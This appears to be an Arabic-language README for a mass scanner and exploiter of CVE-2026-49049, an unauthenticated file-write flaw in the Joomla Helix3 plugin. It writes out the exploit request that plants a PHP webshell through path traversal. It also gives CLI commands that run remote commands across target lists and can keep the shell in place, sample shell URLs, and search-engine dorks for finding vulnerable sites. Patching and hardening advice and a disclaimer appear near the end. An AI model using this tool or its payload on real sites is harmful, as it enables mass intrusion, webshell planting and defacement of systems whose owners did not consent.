
ماسح CVE-2026-49049 Helix3 (JoomShaper) Joomla لثغرة تنفيذ الكود عن بُعد عبر AJAX بدون مصادقة
ماسح / مدقّق جماعي لثغرة CVE-2026-49049: معالج AJAX غير مصادق عليه في إضافة Helix3 Framework الخاصة بـ Joomla (v1.0 – 3.1.0، تم تصحيحها في 3.1.1+).
للاستخدام المصرّح به فقط. استخدمها فقط على أنظمة تملكها أو لديك إذن كتابي لاختبارها.
يمكن الوصول إلى المعالج onAjaxHelix3() في plugins/ajax/helix3/helix3.php عبر com_ajax في Joomla دون مصادقة / رمز CSRF:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
الاستغلال الجماعي النشط في البيئة الحقيقية غالبًا ما يُسقط قشرة ويب (webshell) مزدوجة الامتداد:
< 3.1.1save مع layoutName=../../up.php + محتوى قشرة ويب PHP.json → يصل up.php.json إلى جذر الويبAddHandler متعدد الامتدادات في Apache ينفّذ رمز .phpGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
المتطلبات: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
عدّل targets.txt — رابط URL / مضيف واحد لكل سطر (# = تعليق). مسار Joomla يُحتفظ به:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
لا يُنشئ قشرة ويب. يفحص الإصدار + يختبر save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
تحذير: وضع
--autoيحاول كتابة قشرة ويب عبر اجتياز المسار. الافتراضي: تُحذف القشرة بعد التحقق. استخدم--keepفقط للتجارب المصرّح بها.
الطرفية تعرض كل الحالات (التقدم). results.txt يحتوي فقط على الثغرات:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
التسميات الأخرى (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) تظهر في الطرفية فقط، ولا تُكتب في results.txt.
استخدم دلائل البحث أدناه للعثور على أصول Helix3 / Joomla التي يحتمل تأثرها. امسح الأهداف المصرّح بها فقط.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
حدّث إضافتي System – Helix3 Framework و Helix3 – Ajax إلى 3.1.1 أو أحدث (يُوصى بـ 3.1.2).
التحديث لا ينظف الحمولات التي دخلت قاعدة البيانات بالفعل.
#__template_styles عمود params بحثًا عن custom_js / custom_css مُحقنةtmp / media:
up.php.json, cox.json, *.php.json, وأي قشرة ويب أخرىعلامات الاختراق الشائعة: تشويه "Hacked by AntonKill" / "trenggalek6etar"، وحقن custom_js، وملفات JSON غير معروفة.
Apache — لا تستخدم AddHandler متعدد الامتدادات؛ استخدم:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
الرفع / كتابة الملفات: أعد توليد أسماء الملفات، وارفض الامتدادات متعددة النقاط، وAllowOverride None في الدلائل العامة.
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
المساهمات من المجتمع مقبولة. المشرف: ExDev994.
from __future__ import annotations, type hints)python3 -m py_compile scan.py core/*.py utils/*.py و python3 scan.py --helpأبلغ عن الأخطاء / طلبات الميزات في Issues. أرفق:
| المساهم | الدور |
|---|---|
| ExDev994 | Author / Maintainer |
الثغرة أبلغ عنها في الأصل Phil Taylor (mySites.guru). هذا المستودع تنفيذ مستقل للماسح وليس تابعًا لـ JoomShaper أو Open Source Matters.
هذه الأداة لأغراض تعليمية واختبار أمني مصرّح به فقط.
الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني وقد ينتهك قوانين منها UU ITE الإندونيسي، وCFAA الأمريكي، والقوانين المماثلة في ولايات قضائية أخرى.
المؤلف (ExDev994) لا يتحمل أي مسؤولية عن سوء الاستخدام. باستخدامك هذا البرنامج فأنت تقبل المسؤولية الكاملة عن أفعالك. وضع --auto يُنشئ قشرة ويب مؤقتة — استخدمها فقط على أهداف مصرّح بها.
| الإجراء | التأثير | الإصدارات |
|---|
save | كتابة ملف JSON عشوائي + اجتياز المسار | 1.0 – 3.1.0 |
remove | حذف ملف عشوائي (بدون تقييد على الامتداد/المسار) | 1.0 – 3.1.0 |
import | استبدال وسائط القالب في قاعدة البيانات (custom_js غير مُهرَّب → XSS/تشويه) | v3.x فقط |
| إصدار Helix3 | save / remove | import | الحالة |
|---|
| 1.0 – 2.x | ضعيف | غير موجود | ضعيف |
| 3.0 – 3.1.0 | ضعيف | ضعيف | ضعيف |
| 3.1.1+ | مُصحَّح | مُصحَّح | آمن |
| العلامة | الوصف |
|---|
-f / --file | ملف قائمة الأهداف (الافتراضي: targets.txt إذا غاب -t) |
-t / --target | رابط هدف واحد |
--scan | كشف للقراءة فقط |
--auto | كشف + تحقق RCE (الافتراضي) |
-c / --cmd | أمر التحقق (الافتراضي: id) |
-o / --output | ملف النتائج — الأهداف VULN / SHELL_OK فقط |
--json | تقرير JSON منظم |
--keep | عدم الحذف التلقائي للقشرة بعد التحقق |
--threads | عدد العمال المتزامنين (الافتراضي: 15) |
--timeout | مهلة HTTP بالثواني (الافتراضي: 15) |